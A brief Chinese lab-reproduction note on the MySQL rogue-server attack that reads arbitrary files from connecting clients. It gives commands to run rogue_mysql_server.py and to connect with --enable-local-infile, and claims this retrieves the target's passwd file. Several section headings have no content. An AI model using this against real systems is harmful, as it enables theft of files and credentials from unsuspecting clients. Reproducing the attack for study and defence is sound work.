Mysql任意读取客户端文件复现

本机执行

python rogue_mysql_server.py

目标机器上连接本机数据库

mysql -u root -p -h 本机IP
mysql -h 192.168.250.132 -uroot -p --enable-local-infile

本机即可读取到目标机器上的passwd文件

修改读取文件

其它利用方式

后话

至于如果在目标机器上连接本机mysql----比如phpmyadmin